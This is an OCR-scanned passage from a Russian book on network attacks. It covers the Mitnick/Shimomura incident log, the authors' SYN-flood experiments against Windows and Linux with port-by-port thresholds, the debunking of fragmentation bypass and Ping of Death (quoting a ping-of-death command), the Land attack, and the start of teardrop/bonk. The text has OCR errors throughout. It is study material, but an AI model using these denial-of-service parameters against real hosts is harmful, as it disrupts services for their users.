14:18:52.776502 130.92.6.97.608 > server, login: R 1382726968:1382726968(0) win 4096
14:18:52.836536 130.92.6.97.609 > server.login: R 1382726969:1382726969(0) win 4096
14:18:52.937317 130.92.6.97.610 > server.login: R 1382726970:1382726970(0) win 4096
14:18:52.996777 130.92.6.97.611 > server.login: R 1382726971:1382726971(0) win 4096
14:18:53.056758 130.92.6.97.612 > server.login: R 1382726972:1382726972(0) win 4096
14:18:53.116850 130.92.6,97.613 > server.login: R 1382726973:1382726973(0) win 4096
14:18:53.177515 130.92.6.97.614 > server.login: R 1382726974:1382726974(0) win 4096
14:18:53.238496 130.92.6.97.615 > server.login: R 1382726975:1382726975(0) win 4096
14:18:53.297163 130.92.6.97.616 > server.login: R 1382726976:1382726976(0) win 4096
14:18:53.365988 130.92.6.97.617 > server.login: R 1382726977:1382726977(0) win 4096
14:18:53.437287 130.92.6.97.618 > server.login: R 1382726978:1382726978(0) win 4096
14:18:53.496789 130.92.6.97.619 > server.login: R 1382726979:1382726979(0) win 4096
14:18:53.556753 130.92.6.97.620 > server.login: R 1382726980:1382726980(0) win 4096
14:18:53.616954 130.92.6.97.621 > server.login: R 1382726981:1382726981(0) win 4096
14:18:53.676828 130.92.6.97.622 > server.login: R 1382726982:1382726982(0) win 4096
14:18:53.736734 130.92.6.97.623 > server.login: R 1382726983:1382726983(0) win 4096
14:18:53.796732 130.92.6.97.624 > server.login: R 1382726984:1382726984(0) win 4096
14:18:53.867543 130.92.6.97.625 > server.login: R 1382726985:1382726985(0) win 4096
14:18:53.917466 130.92.6.97.626 > server.login: R 1382726986:1382726986(0) win 4096
14:18:53.976769 130.92.6.97.627 > server.login: R 1382726987:1382726987(0) win 4096
14:18:54.039039 130.92.6.97.628 > server.login: R 1382726988:1382726988(0) win 4096
14:18:54,097093 130.92.6.97.629 > server.login: R 1382726989:1382726989(0) win 4096
Хост server.logm снова готов к приему запросов на создание соединения>.

  Мы намеренно не стали вдаваться в подробное литературное описание этого инцидента (беллетристики о
Митнике более чем достаточно), а остановились только на технических подробностях данной удаленной
атаки. В заключение приведем слова Шимомуры, сказанные им в интервью после поимки Митника: <Из
того, что я видел, мне он не кажется таким уж большим специалистом>. И добавил: <Проблема не в Ке-вине,
проблема в том, что большинство систем действительно плохо защищены. То, что делал Митник, остается
осуществимым и сейчас>

   - -----------------------------------------------------------------------.


  I Кстати, о том, был ли на самом деле Кевин Митник нракером высшего класса, спорят до сих пор.

  Начинал он, очевидно, как фрикер (phreaker) высшего класса. Однако его кракерскую деятельность трудно
назвать профессиональной, так как он не отличился ничем, кроме профессионального лазанья по помойкам
в поисках клочка бумаги с паролями пользователей и заговаривания зубов сетевым администраторам в по-
пытках выудить у них те же пароли (этот вид <атак> теперь получил собственное название - социальная
инженерия). Попав в тюрьму, Кевин, видимо, наконец поднабрался необходимого опыта в искусстве
сетевого взлома и уже вполне подходил под тот образ суперхакера, который создала американская пресса.

  Но осуществленная Митником удаленная атака в связи с простейшим законом генерации ISN в ОС Solaris 1
является тривиальной, и, по сути, Шимомура сам на нее напросился. Наверное, если бы Шимомура
действительно был таким крупным специалистом по информационной безопасности, каким его рисует
пресса, он должен был знать о возможности подобного воздействия. Интересно, почему тогда он ничего
не предпринимал? Может быть, ему нужен был этот взлом? До этого случая Шимомуру никто не знал,
зато теперь он один из самых известных экспертов по безопасности. К сожалению, ответа на эти
вопросы мы, видимо, не получим.


  - -----------------------------------------------------------------------

Направленный шторм ложных TCP-запросов на создание соединения
Рассмотрим нарушение работоспособности хоста в сети Internet при использовании направленного шторма
ложных TCP-запросов на создание соединения либо при переполнении очереди запросов.

  Из рассмотренной в предыдущем пункте схемы создания TCP-соединения следует, что на каждый
полученный TCP-запрос (TCP SYN) операционная система должна сгенерировать начальное значение
идентификатора ISN и отослать его на запросивший хост. Но так как в Internet (стандарта IPv4) не
предусмотрен контроль за IP-адресом отправителя сообщения, то проследить истинный маршрут,
пройденный IP-пакетом, невозможно; и, следовательно, у конечных абонентов Сети нет способа ограничить
чис-, ло запросов, принимаемых в единицу времени от одного хоста. Поэтому . возможно осуществление
типовой удаленной атаки <отказ в обслуживании>, которая будет заключаться в передаче на объект атаки
как можно . большего числа ложных TCP-запросов на создание соединения от имени любого хоста в Сети
(направленный шторм запросов TCP SYN, схема которого приведена на рис. 4.16). При этом атакуемая
сетевая ОС в зависи-, мости от вычислительной мощности компьютера либо перестает реагировать на
легальные запросы на подключение (отказ в обслуживании), либо, > в худшем случае, практически зависает.

  Это происходит потому, что систе-' ма должна, во-первых, сохранить в памяти полученную в ложных
сообще-^ ниях информацию и, во-вторых, выработать и отослать ответ на каждый запрос. Таким образом,
<съедаются> все ресурсы системы: переполняется
- очередь запросов, и ОС вынуждена заниматься только их обработкой. Эффективность данного воздействия
тем выше, чем больше пропускная спо-: собность канала между атакующим и его целью, и тем ниже, чем
больше
вычислительная мощность атакуемого компьютера (число и быстродей-.ствие процессоров, объем ОЗУ и
т.п.).

  Такую атаку можно было предсказать еще лет двадцать назад, когда появилось семейство протоколов
TCP/IP: ее корни находятся в самой инфраструктуре сети Internet, в ее базовых протоколах - IP и TCP. Но
каково же было наше удивление, когда выяснилось, что на информационном . WWW-сервере CERT
(Computer Emergency Respone Team) первое упоми-

 нание об удаленном воздействии такого рода датировано только 19 сентября 1996 года! Там эта атака
носила название  (<наводнение> TCP-запросами с ложных IP-
адресов).

  Другая разновидность атаки <отказ в обслуживании> состоит в передаче на атакуемый хост нескольких
десятков (сотен) запросов TCP SYN в секунду (направленный   мини  -шторм TCP-запросов) на подключение
к серверу, что может привести к временному (до 10 минут) переполнению очереди запросов на сервере (см.

  атаку К. Митника и пример с ОС Linux 1.2.8).

  Это происходит из-за того, что некоторые сетевые ОС обрабатывают только первые несколько запросов на
подключение, а остальные игнорируют, Таким образом, получив N запросов на подключение, ОС сервера
ставит их в очередь и генерирует соответственно N ответов. Затем в течение определенного промежутка
времени (тайм-аут < 10 минут) сервер будет дожидаться сообщения от предполагаемого клиента, чтобы
завершить handshake и подтвердить создание виртуального канала с сервером. Если атакующий пришлет
такое количество запросов на подключение, которое равно максимальному числу одновременно
обрабатываемых сервером сообщений, то в течение тайм-аута остальные запросы будут игнорироваться и
установить связь с сервером не удастся.

  Мы провели ряд экспериментов с направленным штормом и направленным   мини  -штормом запросов на
различных по вычислительным мощностям компьютерах с разными операционными системами.

  Тестирование направленным штормом запросов TCP SYN, проводимое на различных сетевых ОС в
экспериментальных 10-мегабитных сегментах сети, дало следующие результаты,
Все описанные далее атаки осуществлялись по определенной методике. Подготавливался TCP-запрос,
который при помощи специально разработанной собственной программы в цикле передавался в сеть с
соответствующими задержками (вплоть до нулевой) между запросами. При этом циклически изменялись
такие параметры запроса, как порт отправителя и значение 32-битного идентификатора SYN. IP-адрес
отправителя запроса был выбран так, чтобы, во-первых, этот хост в настоящий момент не был активен в сети
и, во-вторых, чтобы соответствующий маршрутизатор, в чьей зоне ответственности находится данный хост,
не присылал сообщения Host Unreachable (Хост недоступен). В противном случае хост, от имени (с IP-
адреса) которого посылался запрос TCP SYN, получив <неожиданный> ответ TCP АСК от атакуемого
сервера, перешлет на него пакет TCP RST, закрывая таким образом соединение.

  При передаче по каналу связи максимально возможного числа TCP-запросов и при нахождении кракера в
одном сегменте с объектом атаки атакуемые системы вели себя следующим образом: ОС Windows 95,
установленная на 486DX2-66 с 8 Мб ОЗУ, <замирала> и переставала реагировать на любые внешние
воздействия (в частности, нажатия на клавиатуру); ОС Linux 2.0.0 на 486DX4-133 с 8 Мб ОЗУ также
практически не функционировала, обрабатывая одно нажатие на клавиатуре примерно 30 секунд. В
результате к этим хостам невозможно было получить не только удаленный, но и локальный доступ.

  Наилучший результат при тестировании показал двухпроцессорный Firewall CyberGuard: удаленное
подключение
к нему также не удалось, но на локальных пользователях воздействие никак не сказывалось (все-таки два
процессора).

  Не менее интересным было поведение атакуемых систем после снятия воздействия: ОС Windows 95
практически сразу же после прекращения атаки начала нормально функционировать; в ОС Linux 2.0.0 с 8 Мб
ОЗУ, по-видимому, переполнился буфер, и более получаса система не функционировала ни для удаленных,
ни для локальных пользователей, а занималась только передачей ответов на полученные ранее запросы.

  CyberGuard сразу же после снятия воздействия стал доступным для удаленного доступа.

  Если кракер находился в смежных сегментах с объектом, то во время атаки ОС Windows 95 на PentiumlOO
с 16 Мб ОЗУ обрабатывала каждое нажатие с клавиатуры примерно секунду, ОС Linux 2.0.0 на Pentium 100 с
16 Мб ОЗУ практически <повисала> - одно нажатие за 30 секунд, зато после снятия воздействия нормальная
работа возобновлялась.

  Не нужно обманываться, считая, что ОС Windows 95 показала себя с лучшей стороны. Такой результат
объясняется следующим: Windows 95 - операционная система, не имеющая FTP-сервера, а следовательно, ей
не нужно было сохранять в памяти параметры передаваемого TCP-запроса на подключение к этому серверу
и дожидаться окончания handshake.

  Направленный шторм запросов на ОС Windows NT 4.0
В связи с особой популярностью у пользователей операционной системы Windows NT мы решили описать
эксперименты с данной ОС отдельно. Анализировалась реакция Windows NT 4.0 build 1381 с установленным
Service Pack 3 и дополнительным ПО в составе MS IIS 3.0, MS Exchange 5.0, MS SQL 6.5, MS RAS на
компьютере со следующей аппаратной конфигурацией: процессор - Pentium 166 ММХ, ОЗУ - 32 Мб, HDD -
2 Гб, сетевая карта - 32-разрядная (фирмы 3COM).

  Направленный шторм запросов на 21, 25, 80, 11 Он 139 порты
Эксперимент осуществлялся следующим образом. На соответствующий порт атакуемого сервера в цикле
TCP SYN отправлялось 9 500 запросов в секунду, что составляет около 50% от максимально возможного
количества сообщений при пропускной способности канала 10 Мбит/с. В результате было выведено
пороговое значение, определяющее число запросов в секунду, при превышении которого удаленный доступ
к серверу становится невозможным.

  Во время шторма TCP-запросов на указанные порты наблюдалась следующая реакция системы:

  
 замедлялась работа локального пользователя (нажатия на клавишу обрабатывались 1-10 секунд,
менеджер задач показывал 100-процентную загрузку процессора);

 удаленный доступ но сети к атакуемому серверу на любой порт оказывался невозможным;

 на сервере из-за нехватки памяти переставали запускаться любые процессы (появлялись сообщения <Нет
системных ресурсов>);

 при шторме на 139-й порт с довольно большой вероятностью (около 40"о) система через некоторое
время <зависала> (<синий экран>);

 после перезагрузки сервера при постоянно идущем шторме на 139-й порт сервер, как правило, <зависал>
(вероятность более 50°о);

 при попытке обращения с консоли сервера в сеть возникали многочисленные ошибки (пакеты не
передавались, система <зависала>). После прекращения шторма запросов TCP SYN у атакуемого NT-сервера
наблюдалась следующая реакция:

  
 из-за нехватки памяти переставали запускаться любые процессы (появлялись сообщения <Нет
системных ресурсов>). Удаленный пользователь нс всегда мог получить необходимую ему информацию,
даже если удаленный доступ к портам сервера был возможен (HTTP-сервер при попытке обращения к
ссылке возвращал ошибку);

 при попытке вызова Менеджера задач на локальной консоли система <зависала>;

 иногда наблюдались отказы в обслуживании при любом удаленном доступе.

  В заключение необходимо отметить, что такие реакции системы на атаку штормом запросов во многом
являлись стохастическими, то есть проявлялись нс всегда и не всегда были строго детерминированы (в
процессе многочисленных экспериментов описанные реакции системы наблюдались лишь с той или иной
степенью вероятности). Однако можно утверждать, что, во-первых, при шторме с числом запросов 8 500
пак./с удаленный доступ к серверу невозможен и, во-вторых, в такой ситуации функционирование сервера
чрезвычайно нестабильно и серьезно осложняет (замедляет, прекращает и т. д.) работу удаленных
пользователей.

  Результаты тестирования Windows NT 4.0 после установки Service Pack 4 оказались более
обнадеживающими для этой операционной системы. На Windows NT 4.0 Server (Pentium 166) шторм 8 000
запросов в секунду был практически незаметен ни для локального, ни для удаленного пользователя. Но, что
любопытно, при этом Windows NT 4.0 Workstation (Pentium 200) с большой долей вероятности <уходила в
синий экран> в среднем


  через одну минуту. Атака на Windows NT 4.0 с Service Pack 4 позволила сделать следующий вывод:

  нарушить работоспособность системы (за исключением сервера на атакуемом порту) удается не всегда, и
результаты атаки от эксперимента к эксперименту могут варьироваться.

  Надо заметить, что обычный шторм TCP SYN стал нынче <немодным>. Значительно проще достигнуть
необходимого результата с помощью более изощренных видов атак. Например, в случае Windows NT с
Service Pack 4 отличные результаты дает Land-шторм, можно использовать также и другие подобные
воздействия (fragmenation (bonk, teardrop), ping-death и т. д.). Главное - подойти к этому вопросу творчески!

  Направленный   мини  -шторм запросов на 21, 25, 80, 110 и 139 порты
Далее приводятся результаты тестов для той же аппаратно-программной конфигурации Windows NT 4.0
Server.

  Направленный   мини  -шторм запросов на 21-й порт (FTP)
Воздействие осуществлялось следующим образом. На 21-й порт атакуемого сервера в цикле отправлялось
100 запросов TCP SYN в секунду с задержкой 10 мс. Эксперимент показал, что 21-й FTP-порт позволяет
одновременно создавать не более 85 соединений с удаленными хостами. При этом тайм-аут очистки
очереди в том случае, если клиент нс подтверждает открытие TCP-соединения (ответ на пакет SYN АСК от
сервера не приходит), составляет от 20 секунд до 1 минуты (в среднем около 30 секунд).

  Итак, эксперимент показал, что FTP-сервср позволяет иметь одновременно не более 85 соединений и
поддерживает их открытыми в течение 30 секунд. Пока очередь заполнена (во время тайм-аута), удаленный
доступ . к FTP-серверу невозможен: в ответ на запрос клиента о подключении придет сообщение Connection
Refused (В соединении отказано). В зависимости от следующих параметров:

  
 максимальное число возможных соединений на данном порту (N);

 количество запросов, генерируемых атакующим, за 1 секунду (V);

 тайм-аут очистки очереди запросов (Т);

 вероятность подключения легального пользователя при   мини  -шторме Р выведем общую формулу,
позволяющую вычислить вероятность подключения удаленного пользователя к серверу: Р - (N/V)/T х 100%.

  Из приведенной формулы видно, что вероятность подключения тем ' выше, чем больше соединений
возможно на данном порту и чем меньше тайм-аут очистки очереди и число запросов атакующего.

  Например, во время описанного выше эксперимента вероятность подключения пользователя при мини-
шторме (100 запр./с) на FTP-порт составляла: Р = (85/100)/30 х 100% - 2,8%.

  Направленный   мини  -шторм запросов на 25-й порт (SMTP)
Воздействие осуществлялось аналогично описанному ранее. На 25-й порт атакуемого сервера в цикле
отправлялись 100 запросов TCP SYN в секунду с задержкой 10 мс. Тестирование показало, что 25-й SMTP-
порт на сервере позволяет одновременно создавать не более 10(!) соединений с удаленными почтовыми
серверами, а тайм-аут в среднем составляет около 30 секунд.

  Во время данного эксперимента вероятность подключения пользователя на SMTP-порт при   мини  -шторме
составляла: Р = (10/100)/30 х 100% - 0,3%.

  Направленный   мини  -шторм запросов на 80-й порт (HTTP)
Эксперимент показал, что 80-й HTTP-порт на сервере при   мини  -шторме (100 запросов в секунду с задержкой
10 мс) позволяет одновременно создавать не более 80 соединений с удаленными HTTP-клиентами (браузе-
рами), при этом тайм-аут составляет в среднем около 30 секунд. В данном случае вероятность подключения
составляла: Р = (80/100)/30 х 100% = 2,6%.

  При исследовании настроек WWW- и FTP-серверов была обнаружена опция, позволяющая установить
неограниченное число одновременно подключенных клиентов. Однако на уровне TCP это число все равно
ограничено приведенными выше значениями и на практике роли не играет (Microsoft в своем репертуаре!).

  Направленный   мини  -шторм запросов на 110-й порт (РОРЗ)
Тестирование по описанной выше методике позволило сделать вывод, что 110-й РОРЗ-порт па сервере
допускает одновременно не более 100 соединений с удаленными хостами при тайм-ауте в среднем около 30
секунд.

  При проведении данного эксперимента вероятность подключения пользователя составляла: Р =
(100/100)/30 х 100% = 3,3%.

  Направленный   мини  -шторм запросов на 139-й порт (NETBIOS)
Эксперимент показал, что 139-й порт на сервере позволяет одновременно создавать примерно 1 040
соединений с удаленными клиентами (<родной>


  для NT порт пользуется явными привилегиями); тайм-аут очистки очереди в среднем также равен около 30
секунд.

  Во время такого шторма вероятность подключения пользователя составляла:

  Р = (1040/100)/30 х 100% = 34,6%.

  Прежде чем сделать окончательный вывод, мы провели анализ дополнительных возможностей настройки
модуля TCP в ядре ОС Windows NT 4,0. Исследование показало, что параметр N (максимальное число
соединений на данном порту) в текущей версии изменить нельзя, повлиять на параметр V (количество
запросов, генерируемых атакующим за 1 секунду) также невозможно, а уменьшать пропускную
способность канала несерьезно. Единственный параметр, который можно изменить в ОС Windows NT, - это
Т (тайм-аут очистки очереди запросов).

  Анализ технической документации Microsoft, найденной только на одном из хакерских сайтов,
посвященных безопасности NT (любопытно, что обычный Microsoft TechNet Knoweledge Base не содержит
даже этой информации (!!!))> показал, что, используя Registry Editor, можно изменять параметр
TcpMaxConnectResponseRetransmissions (это позволит уменьшить время тайм-аута Т). Такой параметр
принимает следующие значения: 3 - повтор SYN АСК через 3,6, 12 секунд, очистка очереди через 24
секунды после посылки последнего ответа, Т = 45 с; 2 - повтор SYN АСК через 3, 6 секунд, очистка очереди
через 12 секунд после посылки последнего ответа, Т ^21 с; 1 -повтор SYN АСК через 3 секунды, очистка
очереди через 6 секунд после посылки последнего ответа, Т = 9 с; О - нет повтора, очистка очереди через 3
секунды.

  Чтобы снизить вероятность успеха атаки штормом запросов, разумно выбрать значение
TcpMaxConnectResponseRetransmissions, равное 1.

  Общая картина тестов вполне ясна: WWW-, FTP-, SMTP-, РОРЗ-серве-ры на базе Windows NT 4.0 Server
функционировать не будут! Любой кракер с обычным модемом на 33 600 бит/с сможет генерировать шторм
запросов . порядка 80 зап./с, что даже при тайм-ауте очистки очереди на сервере в 9 секунд сделает
подключение к данным службам практически невозможным.


  - -----------------------------------------------------------------------

I Поистине умиляет привилегированность <родного> 139-го порта - бо лее чем
двенадцатикратный приоритет (по длине очереди запросов) по сравнению с любыми другими
портами! Особенно это <интересно> смотрится вкупе с невозможностью <ручного> изменения длины
очереди на определенном порту' Видимо, в компании Microsoft считают, что основная задача NT-сервера
заключается в <расшаривании> его ресурсов, a WWW, FTP и т. д.-не столь важное дело'

    - -----------------------------------------------------------------------

Необходимо отметить, что в существующем стандарте сети Internet IPv4 пет приемлемых способов
надежно обезопасить операционную систему от этой удаленной атаки. К счастью, взломщик не сможет
получить несанкционированный доступ к вашей информации, а только <съест> вычислительные ресурсы
вашей системы и нарушит ее связь с внешним миром.

  Такие эксперименты по описанной нами методике читатели могут сами провести с любыми ОС и
посмотреть, как эти системы реагируют па подобные воздействия.

  Мифические удаленные атаки в сети Internet
Завершая тему, мы хотели бы рассказать о так называемых мифических удаленных атаках. К ним можно
отнести <почти> осуществимые угрозы, основанные на реальных особенностях протоколов Internet. На
практике такое воздействие либо нельзя осуществить (например, IP-фрагментацию как способ
проникновения через Firewall), либо вероятность его успеха чрезвычайно мала (например, превышение
максимально возможного размера IP-пакетa, или Ping Death). Однако шумиха, поднимаемая некоторыми
зарубежными <экспертами> по безопасности Internet, вводит в заблуждение многих пользователей, создавая
миф об этих атаках, которые на самом деле никому не угрожают.

  Фрагментация IP как способ проникновения через Firewall
Как известно из описания протокола IP (RFC 791), максимальный размер IP-пакета может достигать 2"'-1
байт. Однако размер пакета (дейтаграммы), пересылаемого непосредственно по каналу связи, зависит от типа
среды передачи. Например, в среде Ethernet максимальный размер дейтаграммы - 1 500 байт, в среде АТМ -
56 байт. Для того чтобы IP-пакеты могли передаваться по сетям любых типов, в протоколе IP предусмотрена
IP-фрагментация, то есть разбиение одного большого пакета на соответствующее количество дейтаграмм
меньших размеров. Применение такой фрагментации в Internet делает ее более гибкой и инвариантной но
отношению к разнообразным физическим средам передачи. На рис. 4.17 приведен формат IP-пакета версии
IPv4.

  Обратим внимание на поля Fragment Offset (Смещение фрагмента) и Flags (Индикаторы фрагментации) в IP-
заголовке (RFC 791). Поле Flags


  показывает, фрагментирован пакет или нет. В поле Fragment Offset содержится значение смещения
фрагмента относительно начала дейтаграммы, измеряемое восьмерками байт. Именно на эту особенность и
не обратил внимания д-р Коэн (F. В. Cohen) в своей статье  (<Атаки
посредством фрагментации пакетов>) [20]: единица в таком поле означает смещение на 8 байт от начала
дейтаграммы.

  Каков же механизм предполагаемого воздействия? Как известно, одной из основных функций всех
межсетевых экранов (МЭ) является фильтрация проходящего через них сетевого трафика. При фильтрации
на сетевом уровне ограничивается возможность доступа к определенным службам защищаемых хостов. Тип
службы, на которую направляется пакет, определяется параметром <порт назначения> в заголовке пакета
TCP или UDP (рис. 4.18), поэтому МЭ анализирует этот параметр, проверяя его соответствие установленным
правилам фильтрации. Если пакет отвечает заданным условиям, то он пропускается дальше, в противном
случае - отфильтровывается.

  16-bit                 - 16-bit
Source Port Number Destination Port Number
16-bit           16-bit
Length           Checksum Data
Рис. 4. 19. Формат UDP-пакета
В статье , опубликованной в конференции All.net, доктор Коэи предложил
следующий сценарий предполагаемой атаки, заключающейся в прохождении фрагмептироваиного пакета
через Firewall без фильтрации. Взломщик разбивает пакет на два фрагмента, из них первый содержит
фиктивный TCP- или UDP-заголовок с номером порта назначения, который не фильтруется межсетевым
экраном (например, 25-й порт - почтовый SMTP-сервер), а второй имеет такое смещение (равное 1) в ноле
Fragment Offset, что перекрывает первый пакет и записывает в поле <порт назначения> истинное значение
порта той службы, к которой доступ через МЭ запрещен.


  - -----------------------------------------------------------------------

I С этой статьей д-ра Коэна [20] происходили с течением времени довольно любопытные изменения. В
статье, которую авторы нашли на WWW-сервере all. net в мае 1996 года, для осуществления атаки предла-
галось занести в поле Fragment Offset значение, равное 1 (далее будет показано, что в этом случае подобная
атака в принципе невозможна). Однако после посещения одного из серверов уже в мае 1997 года авторы с
удивлением обнаружили ту же статью, но с одним <небольшим> исправлением: предлагалось заносить в
это поле уже не 1, а 01 Во всем остальном статья осталась неизменной.


  - -----------------------------------------------------------------------

В этом случае правила фильтрации пропустят такой IP-пакет, так как сборкой фрагмептироваппых
пакетов занимается нс МЭ, а операционная система получателя, не проверяя, как правило, накладываются ли
части пакета друг на друга. Собранный пакет сетевая ОС передает соответствующей службе, основываясь на
данных в поле <порт назначения>.

  На первый взгляд атака состоялась: фрагментированный пакет, направленный одной службе, прошел через
МЭ и после сборки был передан другой службе, доступ на которую был запрещен правилами фильтрации.

  Однако д-р Коэн не учел одного важного факта: значение в поле смещения согласно спецификации
указывается в восьмерках байт, и даже если установить это значение равным единице и предположить, что
сетевая ОС не проверяет наложения фрагментов, то такое наложение произойдет только после первых
восьми байт TCP- или UDP-заголовка, в которых, как видно из рис. 4.19, и содержатся поля портов
назначения.

  Через некоторое время д-р Коэн, видимо, обнаружил^оиисанную выше ошибку и исправил сценарий:

  единица в поле Fragment Ottset была заменена им на ноль. Проанализируем, насколько это изменение
сделает возможным осуществление такой атаки.

  Действительно, в этом случае кракер может заполнить нужным ему образом ноле Flags (об этом поле в
сценарии атаки д-р Коэн даже не упоминает) во втором пакете, а ведь сетевая ОС должна принимать
решение о начале сборки фрагментов именно на основании значения из этого поля. Но анализ исходных
текстов ядра операционных систем Linux и FreeBSD показал, что IP-пакет будет воспринят этими ОС как
фрагмент только тогда, когда значение в поле Fragment Offset нс равно 0. Тем не менее, так как в алгоритме
сборки фрагментов, описанном в RFC 791, нс требуется обязательной проверки значения этого поля,
возможно, что некоторые сетевые ОС ее нс производят, и, следовательно, атака может иметь успех.

  Как нам кажется, сама идея наложения фрагментов достаточно любопытна. Другое дело, что применение ее
для проникновения пакетов атакующего через Firewall R СУществующем стандарте IPv4 представляется ма-,
ловероятным.

  Превышение максимально возможного размера IP-пакета, или Ping Death
В максимальный размер IP-пакета (65 535 байт) включаются длина IP-заголовка и длина ноля данных в IP-
пакете. Так как минимальный размер IP-заголовка - 20 байт (максимальный - 60), то соответственно размер
данных, передаваемых в одном IP-пакете, не может превышать 65 535- 20 = 65 515 байт. А что будет, если
превысить это число?

  Тестировать свои программы на предельных критических значениях -стандартный для любого
программиста ход. Подобные тесты позволяют выявить такие неприятные ошибки, как всевозможные
переполнения (буфера, стека, переменной и т. д.).

  Но вернемся к IP. В принципе ничто не мешает атакующему сформировать набор фрагментов, которые
после сборки превысят максимально возможный размер IP-пакета. Собственно в этой фразе и
сформулирована основная идея данной атаки.

  Итак, 18 декабря 1996 года на информационном сервере СЕКТ появились сообщения о том, что
большинство сетевых операционных систем, поддерживающих протоколы TCP/IP, обладают следующей
уязвимостью: при передаче на них IP-пакета длиной, превышающей максимально допустимое значение, в
этих ОС переполняется буфер или переменная, в результате система <зависает> или перезагружается, то
есть налицо отказ в обслуживании. Был приведен и список потенциально опасных платформ:

  
 Berkeley Software Design, Inc. (ESDI);

 Computer Associates, Intl. (products for NCR);

 Cray Research;

 Digital Equipment Corporation;

 FreeBSD, Inc.; ' Hewlett-Packard Company;

 IBM Corporation;

 Linux Systems;

 NEC Corporation;

 Open Software Foundation (OSF);

 The Santa Cruz Operation, Inc. (SCO);

 Sun Microsystems, Inc.

  Мы с удивлением прочитали этот перечень операционных систем на различных платформах, а потом
принялись за эксперименты. Наше глубочайшее изумление вызвал тот факт, что элементарную ошибку пере-
полнения буфера в модуле IP ядра ОС за почти 20 лет активного функционирования протокола IP
разработчики сегодняшних систем до сих пор не замечали. Поэтому мы позволили себе не поверить столь
уважаемой организации, как CERT. Но прежде чем начать эксперименты, было решено посмотреть по
указанной в CERT ссылке (http:// www.sophist.demon.co.uk/ping) на WWW-сервер, где экспертами прово-
дились подобные исследования на различных ОС. На WWW-сервере предлагалось реализовать такое
воздействие следующим образом: необходимо выполнить на рабочей станции с ОС Windows 95 или Windows
NT следующую команду: ping -1 65527 victim.destination.IP.address (по этой команде атака и получила свое
название - Ping Death).

  Так как обычный размер IP-заголовка составляет 20 байт, а размер 1СМР-заголовка - 8 байт, то подобный
ICMP-пакет будет превышать максимально возможный размер IP-пакета на 20 байт: 65 527 +20+8-65 535 =

                                       20.


  Основываясь на приведенном расчете, эти <эксперты> декларировали, что обычной командой ping можно
нарушить работоспособность практически любой сетевой ОС. В завершение предлагалась следующая табли-
ца тестирования различных операционных систем (здесь она приводится в сокращении), на которые данная
удаленная атака якобы произвела необходимый эффект. Итак, мы начали тестирование и, честно говоря,
абсолютно не удивились, когда исследуемые ОС - IRIX, AIX, VMS, SunOs, FreeBSD, Linux, Windows NT 4.0,
даже Windows 95 и Windows for WorkGroups 3.11- абсолютно не реагировали на подобный некорректный
запрос, продолжая нормально функционировать. Тогда были предприняты специальные поиски
операционной системы, которую бы действительно вывела из строя данная атака. Ей оказалась Windows 3.11
с WinQVT - эта ОС действительно <зависла>.

  Этим <экспертам>, которым столь доверяют CERT и С1АС, мы послали запрос, где попросили прояснить
возникшую ситуацию, а также уточнить сведения из вышеприведенной таблицы. В полученном нами ответе
говорилось, что успех данной атаки зависит от многих факторов, а именно: программного и аппаратного
обеспечения, установленного на компьютере, и, самое главное, от фазы Луны. Как говорится, без
комментариев. Для полноты картины мы хотели бы привести описание exploit, созданного для Windows NT
4.0, задача которого, используя ping, <завесить> собственный компьютер (!). Сначала предлагалось
запустить Web Browser, затем-taskmgr (Task Manager): так Ping Death якобы лучше работает (еще не хватает
шаманского бубна!). И наконец, требовалось запустить 18 ping-процессов (почему не 100?). Если вы думаете,
что после всего этого ваша ОС немедленно <повиснет>, то ошибаетесь! В комментариях к exploit до по-
лучения эффекта предлагалось ждать примерно 10 минут, а может быть, несколько больше или несколько
меньше.

  Можно сделать вывод, что опасения по поводу данного воздействия ни па чем не основаны, и нам остается
только назвать эту атаку очередной программистской байкой и причислить ее к разряду практически неосу-
ществимых.


  Атаки, использующие ошибки реализации сетевых служб
Атака Land
Как уже неоднократно подчеркивалось, существует принципиальная возможность отправит)) IP-пакет от
имени (с IP-адреса) любого хоста в Internet. Эта возможность заложена в формате самого IP-заголовка, по-
скольку в нем не предусмотрено ни одного дополнительного идентифицирующего поля (за исключением
поля Source Address). Ничто не мешает кракеру поставить в этом поле то же самое значение, что и в поле
Destination Address, то есть сформировать IP-пакет, где адрес отправителя совпадает с адресом получателя
пакета. Кроме того, в TCP-заголовке также ничто нс мешает установить одинаковые значения в полях Source
Port Number и Destination Port Number. Таким образом, формируется обычный IP-пакет, направленный как бы
сам па себя. В случае атаки в заголовке такого IP-пакета в качестве адресов назначения и отправления
указываются IP-адреса объекта воздействия, а в качестве порта назначения и от-. правления - любой
открытый порт на атакуемой системе. Однако, как оказалось (первые сведения о данной уязвимости датиро-
ваны 1997 годом), существуют операционные системы, для которых подобный запрос является
нестандартной ситуацией, вызывающей некорректную обработку,- ответ системы самой себе, в результате
чего происходит зацикливание.

  Наши эксперименты показали, что такой уязвимости подвержены все версии ОС Windows NT/95. Причем
Service Pack 4.0 в этом случае почти не помогает. После приема одного Land-запроса на некоторое время (45
секунд при установленном Service Pack 3) загрузка системы увеличивается до 100% и доступ в систему
становится невозможным (Windows 95 обычно показывает синий экран). Мы недаром выделили слово
<одного>. Ведь ничто не мешает атакующему организовать шторм или   мини  -шторм Land-запросов, а это
сделает работу Windows-системы практически невозможной. Например, при тестировании направленным
штормом Land-запросов Windows NT 4.0 на платформе Pentium 200 с установленным Service Pack 4 (где
серьезно улучшена реакция NT па атаку Land) порог <нормальной> работы был в случае шторма нс более 3
500 зап./с. При шторме Land-запросов свыше указанного порогового значения система <замирала> и доступ к
ней становился невозможным.

  Атаки teardrop и bonk
Данная уязвимость основана на ошибках разработчиков операционной системы в модуле, отвечающем за
сборку фрагментироваиных IP-пакетов. При такой сборке, как и следовало ожидать, формируется цикл по
всем полученным фрагментам, из них в отдельный буфер копируется информативная часть, а затем данный
буфер передается на уровень IP для дальнейшей обработки.

  Разработчики ввели проверку на слишком большой объем копируемой информации (чтобы ядро нс
переносило такой объем данных), но не предусмотрели проверку па копирование слишком маленького
фрагмента (фрагмента отрицательной длины). Рассмотрим, к чему приводит отсутствие такой проверки.

  Когда фрагмент сообщения помещается в очередь сборки, выполняется поиск его положения в очереди:

  end = (offset + total_len) - ihl,
Соответственно, если (фрагменты перекрываются, то нужно выровнять их таким образом, чтобы устранить
наложение: if (prev!=NULL && offsetend)

                                        {

i=prev->enct-offset;
offset += i;
ptr += i,

                                       }.


  Таким образом, если смещение текущего фрагмента попало в предыдущий фрагмент, необходимо
произвести корректное выравнивание. Данный фрагмент кода работает правильно всегда, кроме одного
